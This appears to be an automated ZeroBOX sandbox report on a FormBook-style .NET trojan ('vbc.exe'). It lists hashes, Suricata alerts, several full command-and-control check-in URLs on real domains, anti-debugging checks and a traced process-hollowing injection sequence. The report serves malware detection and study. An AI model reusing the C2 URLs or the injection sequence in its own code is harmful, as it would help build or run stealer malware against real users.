Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 27, 2021, 5:53 p.m.	July 27, 2021, 6:04 p.m.

Size	1.2MB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`4d9f21a8719054ede23ff9a28900c56d`
SHA256	`46241be04eb48d9eed1aeb8a809f8baeff44cc73c5e533ab1d266f5f1fcf275a`
CRC32	`E8575740`
ssdeep	`24576:0BjeOsBgo0q4wMUBmCmTOUd+L6kdXWgRLSxbagEWnIHJSqeFf:0BjnoHMsmCm6Ud+zdXHRmbagE1pSqQf`
Yara	IsPE32 - (no description) Generic_Malware_Zero - Generic Malware Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature Admin_Tool_IN_Zero - Admin Tool Sysinternals

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
2064
- vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
  2736

Name	Response	Post-Analysis Lookup
www.omairmaryam.com	A 34.98.99.30 CNAME omairmaryam.com	34.98.99.30
www.urodiran.com	CNAME urodiran.com A 104.221.198.153	104.221.198.153
www.thobeya.com	A 52.58.78.16	52.58.78.16
www.tauding.com
www.verogustopromise.com	A 94.136.40.51	94.136.40.51
www.valkconstruction.com	CNAME valkconstruction.com A 182.50.132.242	182.50.132.242

IP Address	Status	Action
104.221.198.153	Active	Moloch
164.124.101.2	Active	Moloch
182.50.132.242	Active	Moloch
34.98.99.30	Active	Moloch
52.58.78.16	Active	Moloch
94.136.40.51	Active	Moloch
216.83.33.79	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49164 -> 34.98.99.30:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49164 -> 34.98.99.30:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49164 -> 34.98.99.30:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49165 -> 182.50.132.242:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 52.58.78.16:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49165 -> 182.50.132.242:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 52.58.78.16:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49165 -> 182.50.132.242:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 52.58.78.16:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 94.136.40.51:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 94.136.40.51:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 94.136.40.51:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 27, 2021, 5:53 p.m.			0	0
IsDebuggerPresent July 27, 2021, 5:53 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey July 27, 2021, 5:53 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0075b2b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 27, 2021, 5:53 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0075b638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 27, 2021, 5:53 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0075b638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 27, 2021, 5:53 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.omairmaryam.com/p1nr/?Ezu=IXLoWTYa0i8eeaqh9bIbqgec+k0wROqM3Un4DSIZKmT9QhQjPHtCJ9Ndxhca04s3uzXMmJbg&q48=Gbt4axj8p
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.valkconstruction.com/p1nr/?Ezu=8HEGUiNVk0P9GMdG7dRCWlLM4qA2uBc2lIgIvMG2dToNREUXv6C5nmr0SQXPy4Z7ZuDvaebt&q48=Gbt4axj8p
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.verogustopromise.com/p1nr/?Ezu=7JXCB8na1Fe02e3JKmTYWfcqjD2gSn26h4jWqLkZ1za0EaaNhXB08XCk6j/Ud9tLAiKUkKsg&q48=Gbt4axj8p
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.thobeya.com/p1nr/?Ezu=paOrJiqdhggGbgCyC06/uSngCO14/KrleymFdLJqnVZImz5h6h50/Oa4nfx0i+NQsT7AsnY+&q48=Gbt4axj8p

Performs some HTTP requests (4 events)

request	GET http://www.omairmaryam.com/p1nr/?Ezu=IXLoWTYa0i8eeaqh9bIbqgec+k0wROqM3Un4DSIZKmT9QhQjPHtCJ9Ndxhca04s3uzXMmJbg&q48=Gbt4axj8p
request	GET http://www.valkconstruction.com/p1nr/?Ezu=8HEGUiNVk0P9GMdG7dRCWlLM4qA2uBc2lIgIvMG2dToNREUXv6C5nmr0SQXPy4Z7ZuDvaebt&q48=Gbt4axj8p
request	GET http://www.verogustopromise.com/p1nr/?Ezu=7JXCB8na1Fe02e3JKmTYWfcqjD2gSn26h4jWqLkZ1za0EaaNhXB08XCk6j/Ud9tLAiKUkKsg&q48=Gbt4axj8p
request	GET http://www.thobeya.com/p1nr/?Ezu=paOrJiqdhggGbgCyC06/uSngCO14/KrleymFdLJqnVZImz5h6h50/Oa4nfx0i+NQsT7AsnY+&q48=Gbt4axj8p

Allocates read-write-execute memory (usually to unpack itself) (38 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ea0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01050000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a72000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00450000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00392000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0039a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04672000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0039c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:53 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ae000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 20480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 20480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2736 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c90000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0010de00', u'virtual_address': u'0x00002000', u'entropy': 7.651835675502976, u'name': u'.text', u'virtual_size': u'0x0010ddec'}

entropy

7.6518356755

description

A section with a high entropy has been found

entropy

0.861188671719

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 27, 2021, 5:54 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (7 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

216.83.33.79

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2736 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000027c	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 27, 2021, 5:54 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL¢£Nà ràÐ@@.textpr ` base_address: 0x00400000 process_identifier: 2736 process_handle: 0x0000027c	1	1	0
WriteProcessMemory July 27, 2021, 5:54 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2736 process_handle: 0x0000027c	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 27, 2021, 5:54 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL¢£Nà ràÐ@@.textpr ` base_address: 0x00400000 process_identifier: 2736 process_handle: 0x0000027c	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2064 called NtSetContextThread to modify thread in remote process 2736
NtSetContextThread July 27, 2021, 5:54 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4313312 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000294 process_identifier: 2736	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2064 resumed a thread in remote process 2736
NtResumeThread July 27, 2021, 5:54 p.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2736	1	0	0

File has been identified by 26 AntiVirus engines on VirusTotal as malicious (26 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKDZ.76575
FireEye	Generic.mg.4d9f21a8719054ed
CAT-QuickHeal	Trojan.YakbeexMSIL.ZZ4
McAfee	GenericRXPL-ES!4D9F21A87190
Cylance	Unsafe
CrowdStrike	win/malicious_confidence_100% (W)
Cyren	W32/MSIL_Troj.BGR.gen!Eldorado
Symantec	Scr.Malcode!gdn30
ESET-NOD32	a variant of MSIL/Kryptik.ACDM
APEX	Malicious
Kaspersky	HEUR:Trojan-Spy.MSIL.Noon.gen
BitDefender	Trojan.GenericKDZ.76575
Avast	Win32:PWSX-gen [Trj]
Ad-Aware	Trojan.GenericKDZ.76575
Emsisoft	Trojan.GenericKDZ.76575 (B)
DrWeb	BackDoor.RatNET.2
McAfee-GW-Edition	BehavesLike.Win32.Generic.tc
GData	Gen:Variant.Bulz.576074
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.PWSX-gen.C4567443
MAX	malware (ai score=88)
SentinelOne	Static AI - Malicious PE
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/GenKryptik.FHZB!tr
AVG	Win32:PWSX-gen [Trj]

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

104.221.198.153:80

Executed a process and injected code into it, probably while unpacking (22 events)

Time & API	Arguments	Status	Return
NtResumeThread July 27, 2021, 5:53 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread July 27, 2021, 5:53 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread July 27, 2021, 5:53 p.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread July 27, 2021, 5:53 p.m.	thread_handle: 0x00000254 suspend_count: 1 process_identifier: 2064	1	0
NtGetContextThread July 27, 2021, 5:53 p.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread July 27, 2021, 5:53 p.m.	thread_handle: 0x000000e0	1	0
NtResumeThread July 27, 2021, 5:53 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2064	1	0
NtGetContextThread July 27, 2021, 5:53 p.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread July 27, 2021, 5:53 p.m.	thread_handle: 0x000000e0	1	0
NtResumeThread July 27, 2021, 5:53 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread July 27, 2021, 5:54 p.m.	thread_handle: 0x00000244 suspend_count: 1 process_identifier: 2064	1	0
NtGetContextThread July 27, 2021, 5:54 p.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread July 27, 2021, 5:54 p.m.	thread_handle: 0x000000e0	1	0
NtResumeThread July 27, 2021, 5:54 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2064	1	0
CreateProcessInternalW July 27, 2021, 5:54 p.m.	thread_identifier: 2740 thread_handle: 0x00000294 process_identifier: 2736 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000027c	1	1
NtGetContextThread July 27, 2021, 5:54 p.m.	thread_handle: 0x00000294	1	0
NtAllocateVirtualMemory July 27, 2021, 5:54 p.m.	process_identifier: 2736 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000027c	1	0
WriteProcessMemory July 27, 2021, 5:54 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL¢£Nà ràÐ@@.textpr ` base_address: 0x00400000 process_identifier: 2736 process_handle: 0x0000027c	1	1
WriteProcessMemory July 27, 2021, 5:54 p.m.	buffer: base_address: 0x00401000 process_identifier: 2736 process_handle: 0x0000027c	1	1
WriteProcessMemory July 27, 2021, 5:54 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2736 process_handle: 0x0000027c	1	1
NtSetContextThread July 27, 2021, 5:54 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4313312 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000294 process_identifier: 2736	1	0
NtResumeThread July 27, 2021, 5:54 p.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2736	1	0

vbc.exe

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